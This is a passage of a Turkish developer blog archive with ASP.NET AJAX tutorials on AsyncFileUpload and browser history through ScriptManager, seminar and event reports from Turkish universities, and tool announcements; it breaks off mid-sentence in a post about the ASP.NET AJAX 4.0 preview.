AJAX'tan ilk bahsetmeye başladığımız yıllarda en çok aldığım sorulardan biri
asenkron File Upload işlemi ile ilgiliydi. Asenkron işlem yapabilmek ve sayfanın
Refresh atmaması çok hoş bir durumdu ve bu durumu istemciden sunucuya dosya
yüklerken de yaşayabilmek istiyorduk. Bugünler bu gibi bir sorunu çözmek için
Silverlight kullanmayı tercih etsem de özellikle 2GB'dan ufak dosyaların
yüklenmesi noktasında aslında hala eski taktikler kullanılabilir.
Eminim bazılarınız "Yapılıyor zaten AJAX ile" şeklinde içinden cevap
verecektir. Tabi ki yapılır fakat pek de kolay değil. İnternette bulunan çoğu
çözüm seksen tane ekstra ayar gerektirirken hiçbir ayar gerektirmeden çalışan
ASP.NET FileUpload kontrollerinin çoğu ise ücretli olarak karşımıza çıkıyor.
Kişisel yorumumla geç kalınmış olsa da artık sonunda
AJAX Control Toolkit içerisinde bir FileUpload kontrolü
var!
ASP.NET için asenkron çalışan FileUpload kontrolü!
Her zamanki gibi tüm AJAX Control Toolkit kontrollerinde yaptığımız üzere ilk
olarak Toolkit'in en güncel DLL'ini
sitesinden bilgisayarımıza indiriyor sonra da Visual Studio içerisinde
yarattığımız ASP.NET projesine Reference olarak Toolkit
içerisinde DLL'i ekliyoruz. Eğer sürekli olarak AJAX Control Toolkit
kontrollerini kullanacaksanız Toolbox'a da bu kontrolleri ekleyebilirsiniz.
[ASP.NET]
<%@ Register assembly="AjaxControlToolkit" namespace="AjaxControlToolkit" tagprefix="cc1" %>
Eğer Toolbox'a eklemediyseniz yukarıdaki şekilde Control Toolkit'i
kullanacağınız her sayfada elle gerekli tanımlamaları yapmanız gerekiyor ki
mark-up tarafında bu assembly içerisinde kontrolleri kullanabilelim. Eğer
Toolbox'a kontrolleri eklerseniz zaten sürükle-bırak işlemi ile kontrolü sayfaya
yerleştirebilir hale gelirsiniz. Böylece yukarıdaki kod da otomatik olarak
yaratılır. İtiraf etmek gerekirse ben de otomatik yaratılanı yukarıya
yapıştırdım :)
[Default.aspx]
<%@
Page Language="VB"
AutoEventWireup="false"
CodeFile="Default.aspx.vb"
Inherits="_Default"
%>
<%@
Register assembly="AjaxControlToolkit"
namespace="AjaxControlToolkit"
tagprefix="cc1"
%>
<!DOCTYPE
html PUBLIC
"-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html
xmlns="http://www.w3.org/1999/xhtml">
<head
runat="server">
<title></title>
</head>
<body>
<form id="form1"
runat="server">
<cc1:ToolkitScriptManager ID="ToolkitScriptManager1" runat="server">
</cc1:ToolkitScriptManager>
<div>
<cc1:AsyncFileUpload ID="AsyncFileUpload1" runat="server" />
</div>
<asp:Label ID="Label1" runat="server" Text="Label"></asp:Label>
</form>
</body>
</html>
Yukarıda basit bir ASP.NET sayfasında AsyncFileUpload
kontrolünü bulabilirsiniz. Tabi sayfada ayrıca bir de
ToolkitScriptManager bulunuyor ki Toolkit kontrollerini kullanabilelim.
Son olarak alt tarafta göreceğiniz Label kontrolünü ise sadece
sayfanın Refresh atıp atmadığını kontrol etmek için kullanacağız. Dikkatinizi
çektiyse AsyncFileUpload kontrolü herhangi bir UpdatePanel
içerisinde değil. Zaten normal olanda budur. Fakat eğer isterseniz
AsyncFileUpload kontrolünü bir UpdatePanel içerisinde de rahatlıkla
kullanabilirsiniz. İşlevsellikte herhangi bir değişiklik olmuyor.
[VB]
Partial Class _Default
Inherits System.Web.UI.Page
Protected Sub AsyncFileUpload1_UploadedComplete(ByVal sender As Object, ByVal e As AjaxControlToolkit.AsyncFileUploadEventArgs) Handles AsyncFileUpload1.UploadedComplete
AsyncFileUpload1.SaveAs(MapPath("~/Konum/") & IO.Path.GetFileName(e.filename))
End Sub
Protected Sub Page_Load(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.Load
Label1.Text = Date.Now.ToLongTimeString
End Sub
End Class
Yukarıdaki kodun ilk kısmında önemli olan şey AsyncFileUpload
kontrolünün UploadedComplete eventını yakalamak. Adından da
anlaşılacağı üzere Upload işlemi bittiğinde bu event çalışıyor ve biz de
rahatlıkla AsyncFileUpload kontrolünün SaveAs
metodu ile dosyamızı sunucuya kaydedebiliyoruz. Kaydederken de diskteki uygun
bir yolu vermekte fayda var.
Alt kısımda göreceğiniz kod ise sayfa her refresh attığında sayfaya o anki
saat bilgisini saniyesi ile yazdırıyor. Yaptığınız denemede göreceksiniz ki
dosya yüklenmesine rağmen saat bilgisi hiç değişmeyecek. Bu da sayfanın tamamen
refresh atmadığının bir kanıtı.
Animasyon göstermek istersek?
Yükleme işlemi asenkron olsa da kullanıcıya her zamanki AJAX
animasyonlarından birini göstermek çok önemli. Malum zaten AJAX animasyonu
olarak bahsettiğim şey aslında basit ve sürekli aynı animasyonu gösteren bir GIF
dosyasından farklı değil.
 Örnek AJAX Loading animasyonu.
Bu GIF dosyasını bildiğimiz şekilde ASP.NET sayfasına ekledikten sonra
AsyncFileUpload kontrolünün ThrobberID özelliğine Image kontrolümüzün ID'sini
vermemiz yeterli olacaktır.
[Default.aspx]
<%@
Page Language="VB"
AutoEventWireup="false"
CodeFile="Default.aspx.vb"
Inherits="_Default"
%>
<%@
Register assembly="AjaxControlToolkit"
namespace="AjaxControlToolkit"
tagprefix="cc1"
%>
<!DOCTYPE
html PUBLIC
"-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html
xmlns="http://www.w3.org/1999/xhtml">
<head
runat="server">
<title></title>
</head>
<body>
<form id="form1"
runat="server">
<cc1:ToolkitScriptManager
ID="ToolkitScriptManager1"
runat="server">
</cc1:ToolkitScriptManager>
<div>
<asp:Image ImageUrl="~/ajax-loader.gif" ID="Image1" runat="server" />
<cc1:AsyncFileUpload ThrobberID="Image1" ID="AsyncFileUpload1" runat="server" />
</div>
<asp:Label
ID="Label1"
runat="server"
Text="Label"></asp:Label>
</form>
</body>
</html>
Eğer kontrolün tasarımında da hızlı bir değişiklik yapmak isterseniz şimdilik
iki farklı tasarım hazır olarak sizi bekliyor.
 Kontrolde kullanılabilecek hazır iki farklı tasarım var.
Hepinize kolay gelsin.
Bugün Muğla Üniversitesi'ndeydim. LINQ, WPF, Silverlight ve
AJAX oturumları yaparak yine bir günde bolca bilgi paylaşımı gerçekleşti
diyebilirim. Üniversitedeki gençlerin özellikle sınav sonrası olmasına rağmen
seminerlerdeki enerjileri beni hayran bıraktı diyebilirim. Ne kadar şanslı
olduklarını pek farkında değiller belki ama Visual Basit.NET gördükleri için
bence çok ayrıcalıklılar :) Uzun süreden sonra ilk defa demolarımı rahat rahat
VB ile yapabildim ve rezalet bir şekilde C# alışkanlıkları edinip VB'ye
bulaştırmaya başladığımı gördüm :) Gereksiz toString'ler falan :) Her neyse...
Muğla üniversiteden mezun olan bir gencin VB.NET, ADO.NET ve SQL bilerek
mezun olduğunu görmek beni çok sevindirdi. Bu üçlünün bir biri ile bağlantısını
da kurduktan sonra aslında yapamayacağınız pek bir şey kalmıyor gibi. Üzerine
bir de seminerlerimizdeki konuları eklerseniz süper yazılımcılar olacağınızdan
emin olabilirsiniz.
 Muğla Üniversitesi Seminerlerim
Buradan etkinlikteki katkılarından dolayı Hasan Burak Öztürk kardeşim ve
sevgili hocalarımıza çok teşekkür ediyorum. Umarım herkes için faydalı bir
etkinlik olmuştur. ;)
Bugün Konya, Selçuk Üniversitesi'ndeydim. WPF MultiTouch, Silverlight
3.0 ve AJAX oturumları ile yoğun ve bir o kadar da eğlenceli bir gün geçirdik.
Yine efsane potlar kırdım ama bu sefer yazdığım kodlarla :) Her neyse, konuya
dönersek... Benim için biraz da duygusal bir buluşma oldu bu sene Selçuk
Üniversitesi'ni ziyaretim.
Geçen seneki ziyaretimde dördüncü sınıf öğrencilerinden bir grup cengaveri
çok net hatırlıyordum. İşte o grup bir gördüm ki kendi şirketini kurmuş ve yurt
dışında Outsource yazılım satıyor! İşte budur! Özellikle Anadolu
üniversitelerini ziyaretimde gençlerin "Bu meslekte İstanbul'a gitmek lazım"
şartlanmasının anlamsız olduğunu kanıtlayan bu örneği özellikle sizlerle buradan
paylaşmak istedim.
 Konya, Selçuk Üniversitesi Seminerlerim
Etkinlikteki katkılarından dolayı sevgili Serkan Cura'ya ve
Nevzat Örnek hocamıza
buradan çok teşekkür ediyorum. Umarım katılan herkese olabildiğince faydalı
olmuştur. Seneye tekrar görüşmek üzere ;)
Blogdan da duyurduğum üzere geçen hafta sonunu Eskişehir'de geçirdik. Yine
çok zevkli bir etkinlikte iki gün boyunca yoğun bir tempo ile birçok konuya
değindik. Silverlight, Oyun Programlama, WPF, LINQ, ASP.NET 3.5
vs derken yoğun bir bombardımanın altında tüm katılımcıların da yüzlerinde
memnuniyetin izlerini görüyor olmak gerçekten çok sevindirici oldu. Umarım
katılan herkes için olabildiğince faydalı ve efektif geçmiştir hafta sonu.
 Osmangazi Üniversitesi, INETA Eskişehir Seminerleri
Aktivitenin organizasyonundaki katkısından dolayı sevgili MSP,
Selim Özenç'e buradan
çok teşekkür ediyorum. Ayrıca beni yalnız bırakmama konusundaki ısrarlı duruşu
ile :) sevgili MSP, Ali
Uğur Çakmak'a da çok teşekkürler. Tabi organizasyonda emeği geçen tüm diğer
arkadaşları da kesinlikle unutmadım, özellikle, büyük ihtimal yakında blogdan da
sizlerle paylaşacağım bir röportaj maceramız oldu ki :) dillere destan.
Eskişehir'e buradan en kısa zamanda tekrar görüşmek üzere diyerek seminerlere
katılan tüm arkadaşlara çok teşekkür ediyorum.
Hafta sonu Eskişehir'deyiz! Osmangazi Üniversitesi Fen Edebiyat Fakültesi (F5 Blok) Konferans Salonu'nda
iki günlük bir program ile zevkli bir hafta sonu geçirmek isteyen herkesi
bekliyoruz. Etkinlik planını aşağıdaki görselde bulabilirsiniz.
 INETA Eskişehir Hit Afişi
Etkinlik serisi tamamen halka açık ve herhangi bir şekilde kayıt olmanız
gerekmiyor. Görüşmek üzere...
Son iki gündür Erzurum, Atatürk Üniversitesi'ndeydim.
Silverlight, WPF, AJAX, LINQ konularına değindiğimiz ikin
günlük bir serinin sonunda minik bir de DreamSpark dağıtımı yaptıktan sonra iki
saatlik gecikme ile uçağıma binip dönüp dolaşım yine :) İstanbul'a döndüm. Oturumlarda şaşkınlık ile
karışık bir tepkisizliğin hakimiyetine karşın aralarda aldığım tepkiler çok
sıcaktı. Anadolu'daki üniversitelerin havası gerçekten çok farklı, Erzurum'da da
bunu yaşadım. Gençlerin gözlerindeki ışıltı ve kaba tabiri ile doğu
bölgelerindeki bu gibi etkinliklere yönelik ihtiyacın tam olarak giderilememesi tezatı beni gerçekten üzüyor. Olanaklar el verdikçe Anadolu üniversitelerine
gidiş sevdamı ben de bu şekilde tatmin etmeye çalışıyorum :)
 Erzurum, Atatürk Üniversitesi Seminerlerim
Tabi ki yine teşekkür etmem gereken onlarca dost var Erzurum'dan.
Yüksel hocama ve afacana buradan selamlarımı gönderdikten sonra :)
öğrenci kardeşlerimden de Mehmet Keklik'e etkinliğe vesile
olması ve organizasyondaki katkısı için çok teşekkür ediyorum. Umarım seneye
taptaze ve daha dolu bir etkinlik ile tekrar buluşuruz ;)
Bu hafta sonu INETA Professional Hit etkinliğimizi
gerçekleştirdik. Kayıt alımındaki sorunlara karşın etkinlik boyunca gelen olumlu
tepkiler epeyce moralimi düzeltti. Level 300 hedefi ile yola çıksak da maalesef
beni dinlemeyip :) oturumlardaki konularla ilgili hiç çalışmamış arkadaşlar da
geldi! Umarım bir sonraki Level 300 etkinliğimizin seviyesi ile ilgili biraz da
olsa fikir oluşmuştur kafalarda. Özellikle benim Silverlight oturumunda salonun
yarısının hiç Silverlight ile ilgilenmemiş olması Level 300 seviyelerine
çıkmamızı engelledi diyebilirim.
 INETA Professional Hit İlk Gün
Neyse :) Bu her açıdan bir "ilk"ti ve hepimiz Level 300 seminerlerle ilgili
bir şeyler öğrendik. Bir dahakinin daha verimli olması için bazı notlar da aldık
kenara. Şimdi sıra geldi artık fotoğrafları :) ve örnek kodlar ile sunumları
sizlerle paylaşmaya.
http://cid-8eca4439fd9a640f.skydrive.live.com/browse.aspx/INETA%20Professional%20Hit%20012009
Yukarıdaki adresten tüm fotoğrafları orijinal çözünürlükleri ile
indirebilirsiniz. Ayrıca yukarıdaki adreste bir de Ozel.rar dosyası göreceksiniz
:) O dosya içerisinden de kişisel çekilmiş fotoğraflar var.
 INETA Professional Hit 2. Gün
Son olarak aşağıdaki download linklerinden de her oturumla ilgili örnekleri
ve sunumları indirebilirsiniz.
28012009_ADONET.rar (1,13 MB)
28012009_AJAX.rar (75 KB)
28012009_CSHARP.rar (551,66 KB)
28012009_LifeCycle.rar (126,8 KB)
28012009_Silverlight.rar (672,98 KB)
Katılan herkese çok teşekkürler. Bir başka aktivitede görüşmek üzere ;)
Uzun bir aradan sonra tekrar İstanbul'da güzel bir etkinlik ile
karşınızdayız. Ankara ve İzmir derken biraz İstanbul'u boşladığımızı kabul
ediyorum. Ama önümüzdeki dönemde bolca telafilerimiz olacak. Gelelim konumuza;
INETA Professional Hit!
İki günlük bir etkinlik dizisi ile bu sefer Microsoft binasında buluşuyoruz.
Fakat farklı bir şeyler var! Türkiye'de ilk defa tamamen Level 300 ve üstü
oturumlardan oluşan halka açık bir aktivite yapıyoruz. Gelin bu konuyu biraz
açıklığa kavuşturalım ve şu Level konusuna göz atalım.
- Level 100: Bahsi geçen konuya giriş ve genel anlatım
içerir. Katılımcıların oturumun konusu ile ilgili herhangi bir bilgi
birikimine sahip olmadıkları ön görülür.
- Level 200: Level 100 bilgisine sahip olunduğunu ve buna
ek olarak anlatılacak konu ile ilgili genel bir bilgi birikiminin
katılımcılarda olduğu var sayılır. Genelde bu oturumlarda anlatılan
teknolojilerin detayları ve kullanım alanları ile ilgili gerçek hayat
senaryoları işlenir.
- Level 300: Anlatılacak konu ile ilgili Level 200
bilgisine sahip olunduğu düşünülür. Bu oturumlarda bahsi geçen
teknolojilerin uç noktada kullanımına dair örnekler derinlemesine işlenir.
- Level 400: Bu oturumlar uzmanından uzmanına
oturumlardır. Anlatılan teknoloji ile ilgili en gelişmiş ve üst seviyeli
bilginin aktarıldığı bu oturumlar ürünlerin üst sınırlarını zorlayan
oturumlardır.
Gördüğünüz gibi normal şartlarda bizim INETA tarafındaki etkinliklerimiz
ağırlıklı olarak Level 100 ile Level 200 arasında dolaşıyor. Genel olarak
baktığımızda bu seviyenin üzerinde etkinliklerin eksikliğini sizler de
değerlendirme formlarında defalarca dile getirdiniz. INETA Professional Hit
tamamen uzmanlara hitap eden Level 300 ve Level 400 oturumlar içeriyor. Bu
kapsamda giriş seviyesi bir beklenti ile etkinliğe gelmemekte fayda var. Giriş
seviyesi için yakın zamanda bir etkinliğimiz daha olacak.
Program içeriğimiz ve oturumların seviyeleri şu şekilde;
24 Ocak
10.00-12.30 Silverlight ile Veri Uygulamaları -
Daron Yöndem - Level 300
13.00-16.00 ADO.NET Data Services -
Burak Selim Şenyurt - Level 300
16.30-18.00 SharePoint üzerinde özel kolon geliştirmek -
Nezih Tınas - Level 400
25 Ocak
10.00-12.30 Derinlerde C# 3.0 -
Burak Selim Şenyurt - Level 300
13.00-15.00 ASP.NET AJAX 4.0 -
Daron Yöndem - Level 300 15.30-18.00 Asp.Net Application ve Page LifeCycle
- Oğuz Yağmur - Level 300
Etkinlik Microsoft İstanbul ofisinde olacak. Adres şu şekilde; Bellevue Residence, Levent Mahallesi
Aydin Sokak, No: 7
Levent
Etkinliğe katılabilmeniz için aşağıdaki adresten kayıt olmanız gerekiyor.
http://daron.yondem.com/kayit/
Çok yakında giriş seviyesi etkinliklerde de görüşmek üzere.
Yeni yılda hayatınızı kolaylaştırma yolunda iddialıyım :) Bu sefer de benim
işimi çok kolaylaştıran bir aracı sizlerle paylaşacağım.
Visual Studio içerisinde F5'e bastığımızda System Tray'de beliren "ASP.NET Development Server"'ı hatırlarsınız. Aslında adı "Cassini" olan bu server
işimizi epeyce kolaylaştırır ve bizim her sererinde IIS'te sitemizi veya
uygulamamızı ayarlamamızı gerektirmeden uygulamanın sanal bir sunucu ortamında
test edilmesini sağlar.
Peki hiç herhangi bir projenizi doğrudan çalıştırıp görmek istediğinizde
mecburen Visual Studio ile açıp F5'e bastığınız oldu mu? :) Veya mecburen IIS'te
web site ayarlamak zorunda kaldınız mı? sadece sitenizi çalıştırabilmek için?
İşte bu işkence aslında sürekli yaşadığımız bir süreç ve çok kolay bir çözümü
var. Biz de Visual Studio gibi gidip Cassini'yi kullanabiliriz.
Aslında Cassini bizim bilgisayarlarımızda WebDev.WebServer.exe
olarak yüklü bulunuyor. Tabi ki EXE'yi doğrudan alıp taşıyamazsınız, çok sayıda
bağlantılı DLL vs de söz konusu. Ama biz bu EXE'ye doğru parametreleri
gönderirsek aynı Visual Studio'nun kullandığı gibi herhangi bir klasördeki
dosyaları web sunucudaymış gibi çalıştırabiliyor. Bu EXE'nin nasıl
kullanıldığını merak edenleri veya birazdan sizlerle tanıştıracağım uygulamanın
nasıl yazıldığını merak edenleri İngilizce blogumdaki
bir yazıya davet edebilirim :)
 Sağ tıkla sunucudaaymış gibi çalıştır!
Gelelim sadede... Infragistics'te çalışan J. Ambrose Little tüm bunları yaparak uygulamayı da bir SETUP paketi şeklinde hazırlamış ve bununla da kalmamış ve bu sistemi işletim sisteminin context menü'süne bağlamış. Yani özetle; herhangi bir klasöre sağ tıklayıp "ASP.NET 2.0 Web Server Here" dediğizde Cassini açılıyor ve söz konusu klasör içerisindeki uygulama server üzerinden çalıştırılıyormuş gibi karşınıza çıkıyor. Aynı Visual Studio'da F5'e basmış gibi :)
Uygulamayı aşağıdaki linkten bilgisayarınıza indirip yükleyebilirsiniz.
Cassini Web Server Launcher - 02012009_1.msi (355 KB)
ASP.NET 2.0 dediğine bakmayın 3.5 SP1 ile herhangi bir sorunu yok.
Hepinize kolay gelsin...
Bu aralar birçok yazıma "gelen maillerde de sürekli istediğiniz gibi" şeklinde cümlelerle başladığımı görünce aslında bir süredir sizden gelen istekleri yerine getirmekle uğraştığımın farkına vardım :) İşte bu yazımda da böyle bir konu söz konusu. Bana gelen maillerde benden AJAX anlatmamı isteyenler oluyor ve neden ajax semineri vermediğimi soranların sayısı epey fazla. Aslında tam olarak kesin bir cevabı yok bu sorunun. Sanırım AJAX kelimesinin pazarlama anlamında tükettiğimiz içindir! Bu tüketimin sonucunda o kadar çok "AJAX AJAX" denilen dönemler yaşadık ki sanki herkes AJAX'ı yuttu ve biliyor gibi bir izlenim oluştu ki bu tamamen YANLIŞ!
Maalesef kimse AJAX falan bilmiyor! UpdatePanel kullanmanın bile herşeyiyle bilinmediğini iddia edebilirim ki UpdatePanel'in AJAX dünyasında yeri cidden komiktir. O nedenle ben de bir süre önce bir
AJAX seminer ayarladım ve semineri videoya kaydettim. Şimdi sizinle bu video yu paylaşıyorum.
Video tabi ki giriş seviyesi, daha anlatmak istediğim çok şey var. Umarım bir gün
İleri AJAX semineri verme şansım da olur, böylece onun da videosunu buradan sizinle paylaşırım.
Yukarıdaki videoyu bilgisayarına indirmek isteyenler
blogumun
SeminerTV bölümünden bunu yapabilirler ;)
İyi seyirler...
Bugün sabahtan Bursa Uludağ Üniversitesi'ndeydim. Hazır Microsoft'un Gençsen
Geleceksin etkinliği için gitmişken üniversiteye biraz daha erken gidiyim ve
arada bir de ASP.NET 3.5 AJAX semineri yapalım dedim. Yaklaşık sanırım 2.5 saat
süren bir AJAX semineri sonrasında Gençsen Geleceksin kısmını da tamamlayarak
Uludağ Üniversitesi'nden ayrıldım.
 Uludağ Üniversitesi, Bursa
Aslında bu AJAX seminerini yapmamın özel bir nedeni var. AJAX biraz eskimiş
bir terim olarak gözükse de işin gerçeği Türkiye'de AJAX'ı ve özellikle
Microsoft'un AJAX Framework'ünün detaylarını bilen kişi sayısı hala ciddi
şekilde kısıtlı. Herkes UpdatePanel'den ötesini bilmiyor. Bu derdime ek olarak
bir de arada sırada aldığım "Hocam niye AJAX anlatmıyorsunuz?" maillerini de
katarsak ortaya Uludağ Üniversitesi'ndeki AJAX seminerim çıktı. 2.5 saatte
herşeyi anlatabildim diyemem, seminerin sonuna doğru bazı şeyleri hızlı geçmem
gerekti ama en azından güzel bir giriş oldu. Tabi ki seminerin tamamını videoya
da kaydettik ve yakında sizlerle blogumun SeminerTV bölümünden paylaşacağım.
Böylece artık mail atmadan AJAX seminerimi webden izleyebileceksiniz.
Uludağ Üniversitesi'ndeki organizasyonlardaki katkısından dolayı özellikle
sevgili Muhammed Medeni Baykal kardeşime buradan çok teşekkür ediyorum.
Evet biliyorum daha organizasyona katkısı olan bir çok kardeşim var :) onları da
buradan kucaklıyor ve çıkışta İskender yemeye gelmedikleri için kınıyorum :)
Deep Zoom konusunda daha önce de
makaleler yazmış hatta güzel bir de
3D örneği sizlerle kaynak kodları ile paylaşmıştım. Deep Zoom uygulamalarını
ve fotoğraf paketlerini hızlı bir şekilde oluşturmamızı sağlayan Deep Zoom
Composer yeni sürümü ile karşımızda. Aşağıdaki adresten uygulamayı
bilgisayarınıza indirebilirsiniz.
http://xpression2.members.winisp.net/DZC/Deep%20Zoom%20Composer.msi
Yeni neler var?
En büyük yenilik artık Silverlight DeepZoom'un haricinde JavaScript bazlı DeepZoom
projeleri de yaratabiliyor olmamız. Yanlış duymadınız :) DeepZoom işlevselliği
sağlayan JavaScript bazlı çıktılardan bahsediyorum. Tabi ki JavaScript ile
beslenen bu yapının Silverlight gibi bir işlemci kullanımına sahip olmasını
bekleyemeyiz, ayrıca geçişler arası animasyonlar vs de yok. Ama Silverlight'a
bir alternatif olarak yerine göre belki uygun bir çözüm de olabilir.
 SeaDragon AJAX seçeneği JavaScript bazlı Deep Zoom projesi yaratıyor. Bunun haricinde arka tarafta bir çok bug'ın giderilmesinin yanı sıra Deep
Zoom Composer'ın Image Set'leri oluşturan kodlarının da ayrı DLLler haline
getirilmesi gibi işlemler var. Böylece kendi Deep Zoom Composer'ınızı da
yazabilirsiniz ;)
Hepinize kolay gelsin.
AJAX kullanılan sitelerde tarayıcıların "Geri" düğmesinin çalışmaması sorunu
ile ilgili farklı JavaScript kütüphanelerinde çözümler bulunsa da ASP.NET ile
sunucu tarafında kullanılabilecek tek bir çözüm vardı. Aşağıdaki adresten söz
konusu çözüm ile ilgili makaleyi inceleyebilirsiniz.
http://daron.yondem.com/tr/PermaLink.aspx?guid=1e6b22ff-cf0b-4927-a396-4eb5446daaa4
Bahsettiğimiz çözüm ASP.NET harici özel bir sunucu kontrolünün kullanılmasına
dayalı. Oysa artık bunlara ihtiyacımız yok. .NET Framework 3.5'in SP1
güncellemesi ile beraber artık ASP.NET AJAX altyapısı istemci tarafındaki
tarayıcı geçmişinin de kontrol edilebilmesine olanak tanıyor. Gelin sistemin
kullanım şeklini beraber inceleyelim.
ScriptManager'da yeni bir özellik : EnableHistory
Ufak bir örnek yaparak uygulama üzerinden ilerleyelim. Örneğimizde sayfamızda
UpdatePanel içerisinde bir Label ve bir de Button bulunsun. Düğmeye her
bastığımızda basit bir şekilde Label'ın içerisindeki sayıyı bir arttırsın.
Amacımız bu şekilde UpdatePanel'in içi değişirken tarayıcının geçmişini de
yenileyerek tarayıcıdaki "Geri" ve "İleri" düğmelerinin çalışmasını sağlamak.
<html xmlns="http://www.w3.org/1999/xhtml">
<head runat="server">
<title></title>
</head>
<body>
<form id="form1" runat="server">
<asp:ScriptManager
EnableHistory="true" ID="ScriptManager1" runat="server">
</asp:ScriptManager>
<div>
<asp:UpdatePanel ID="UpdatePanel1" runat="server">
<ContentTemplate>
<asp:Label ID="Label1" runat="server" Text="0"></asp:Label>
<asp:Button ID="Button1" runat="server" Text="Button" />
</ContentTemplate>
</asp:UpdatePanel>
</div>
</form>
</body>
</html>
Yukarıdaki örnek sayfa içerisinde gördüğünüz kodun normal bir ASP.NET AJAX
uygulamasından tek farkı ScriptManager kontrolünün
EnableHistory özelliğinin True olarak ayarlanmış
olması. Bu özellik ScriptManager kontrolüne .NET Framework 3.5 SP1 güncellemesi
ile beraber eklendi. Tabi sadece bu ayarı değiştirmiş olmak her şeyin çalışması
için yeterli değil.
AJAX ile sayfada yapılan değişikliklerin hangilerinin birer "yeni sayfa"
niteliği taşıdığına karar vermemiz gerekiyor. Böylece tarayıcı doğru durumları
kendi geçmişine ekleyecektir. Bunun için sayfamızın kod kısmına geçerek bizim
örneğimizde AJAX isteğine neden olan Button kontrolünün
arkasında saklı koda göz atalım.
[VB]
Protected Sub Button1_Click(ByVal sender As Object, ByVal e As System.EventArgs) Handles Button1.Click
Label1.Text = CInt(Label1.Text) + 1
ScriptManager1.AddHistoryPoint("sayi", Label1.Text)
End Sub
[C#]
protected void Button1_Click(object sender, EventArgs e)
{
Label1.Text = (int.Parse(Label1.Text) + 1).ToString();
ScriptManager1.AddHistoryPoint("sayi", Label1.Text);
}
Gördüğünüz üzere kodumuzun ilk satırında basit bir şekilde Label içerisindeki
değeri bir arttırıyoruz. Son olarak elde ettiğimiz değeri ayrıca
ScriptManager üzerinden AddHistoryPoint komutu ile
istemci tarafında bir tarayıcı geçmişi noktası olarak kaydediyoruz.
AddHistoryPoint komutu toplamda iki parametre alıyor (Key/Value Pair),
birincisi sizin tamamen kendi isteğinize göre tanımlayabileceğiniz bir string
değer, diğeri ise bu string değer ile eşleşen değişkenin ta kendisi. Örneğin
eğer web sayfamız farklı ürünlerin gösterildiği bir sayfa olsaydı bu noktada
string değer olarak "ID" verip ikinci parametre olarak da gösterilen ürünün
primary key değerini aktarabilirdik. Tüm bu değerler bize ileride geri
döndürülüyor olacak.
Tarayıcı geçmişine yeni bir nokta ekledik ve tarayıcımızı sayfanın değiştiğinden
haberdar ettik. Hatta değişen sayfa ile ilgili ufak bir bilgiyi de
AddHistoryPoint sayesinde kaydetmiş olduk. Şimdi sıra geldi web
sitemizin kullanıcısı tarayıcının "Geri" veya "İleri" tuşlarına tıkladığında
bizim durumu nasıl algılayarak uygun hareketleri yapacağımızı belirlemeye. Bunun
için sunucu tarafında ScriptManager'ın Navigate
adındaki event-handler'ını kullanacağız.
[VB]
Protected Sub ScriptManager1_Navigate(ByVal sender As Object, ByVal e As System.Web.UI.HistoryEventArgs) Handles ScriptManager1.Navigate
Label1.Text = e.State("sayi")
End Sub
[C#]
void ScriptManager1_Navigate(object sender, HistoryEventArgs e)
{
Label1.Text = e.State["sayi"];
}
Navigate event-handler'ına gelen HistoryEventArgs
üzerinden State dizisine daha önce AddHistoryPoint
derken verdiğimiz anahtar stringi ilettiğimizde eşleştirilmiş olan değeri
alabiliyoruz. Böylece kullanıcı bir önceki sayfaya gitmek istediğinde o sayfa
yaratılırken eklemiş olduğumuz HistoryPoint ile eşleştirilmiş
değeri yakalayabileceğiz. Bizim örneğimizde sayfayı eski haline getirmek için
söz konusu değeri Label'ın içine aktarmak yeterli oluyor. Eğer bu değer bir
ürüne ait primary key olsaydı tekrar veritabanını sorgulayarak sayfayı uygun
verilerle dolduracak bilgileri çekecektik.
Sonuç
Aslına bakılırsa gerçek anlamı ile bir "Geri" navigasyonu sağlamıyoruz.
Tarayıcının "Geri" düğmesine basıldığında bir önceki sayfayı tekrar AJAX ile
oluşturuyoruz. İstemci tarafında bu durum sanki geri gidilmiş gibi algılanıyor,
oysa veriler tekrar sunucudan geliyor. Maalesef bunun şu an için farklı bir çözümü
yok.
Diğer yandan tarayıcının sayfa değişmemesine rağmen sayfa değişmiş gibi
davranmasını sağlamak için de sayfa adresine aşağıdaki gibi anchor bilgileri
ekleniyor. Bu durum site içerisinde anchor kullanımını engelleyecektir. Diğer
yandan anchor içerisinde AddHistoryPoint ile eklediğimiz tüm
veriler encrypt edilerek saklandığı için bu verilerin olabildiğince güvenlik
seviyesinin düşük olmasında da fayda var.
http://localhost:54366/Default.aspx#&&/wEXAQUEc2F5aQUBMrCb2/2XpreE0oVczcMgPShkFLH/
Son olarak yukarıdaki gibi linklerin yaratılması ile beraber artık AJAX
sayfalarında da sitenin farklı durumlarının farklı web adreslerine sahip
olduğunu unutmayalım. Böylece AJAX ile çalışan bir sitede gezildiğinde
kullanıcılar tam olarak içerisinde bulundukları görsel sayfanın adresini
kopyalayarak paylaşabileceklerdir.
Hepinize kolay gelsin.
ASP.NET 3.5 ile artık Framework'e dahil olan AJAX Extension
konusunda gelişmeler devam ediyor. ASP.NET AJAX 4.0'a ait
Preview sürümü download paketine aşağıdaki adresten
ulaşabilirsiniz. Unutmayın ki Preview (Önİzleme) sürümlerindeki özelliklerinin
üretimde kullanılması doğru olmaz ve bu özelliklerin gerçekten bir ürün
olarak Microsoft tarafından son sürümde yayınlanıp yayınlanmayacağını da kimse
garanti edemez.
http://www.codeplex.com/aspnet/Release/ProjectReleases.aspx?ReleaseId=15511
Peki ne gelişmeler var?
Aslında şu an için gelişmelerin neredeyse hepsi istemci taraflı uygulamalarla
ilgili. Sunucu tarafına yeni bir ASP.NET kontrolü gelmiyor. ASP.NET AJAX
Features paketindeki sunucu kontrollerinin de AJAX'ın bir sonraki sürümünde
bulunacağı beklentiler arasında.
İstemci tarafındaki
yeniliklerden faydalanabilmek için yukarıdaki adresten download paketini
bilgisayarınıza indirdikten sonra hemen MicrosoftAjaxTemplates.js
dosyasını ASP.NET AJAX destekli bir WebForm'un HTML kısmında include etmeniz
yeterli olacaktır. Bunu ister standart HTML komutları ile yapın ister sayfadaki
ScriptManager'a bir ScriptReference ekleyin, karar sizin.
İstemci taraflı Template (Şablon) yapıları
El yapımı AJAX yolculuklarımızda belki de en can sıkıcı noktalardan biri
sürekli istemci tarafında for döngüleri içerisinde DOM ile HTML
nesneleri yaratıp uygun verileri içlerine yerleştirip sayfada konumlarını
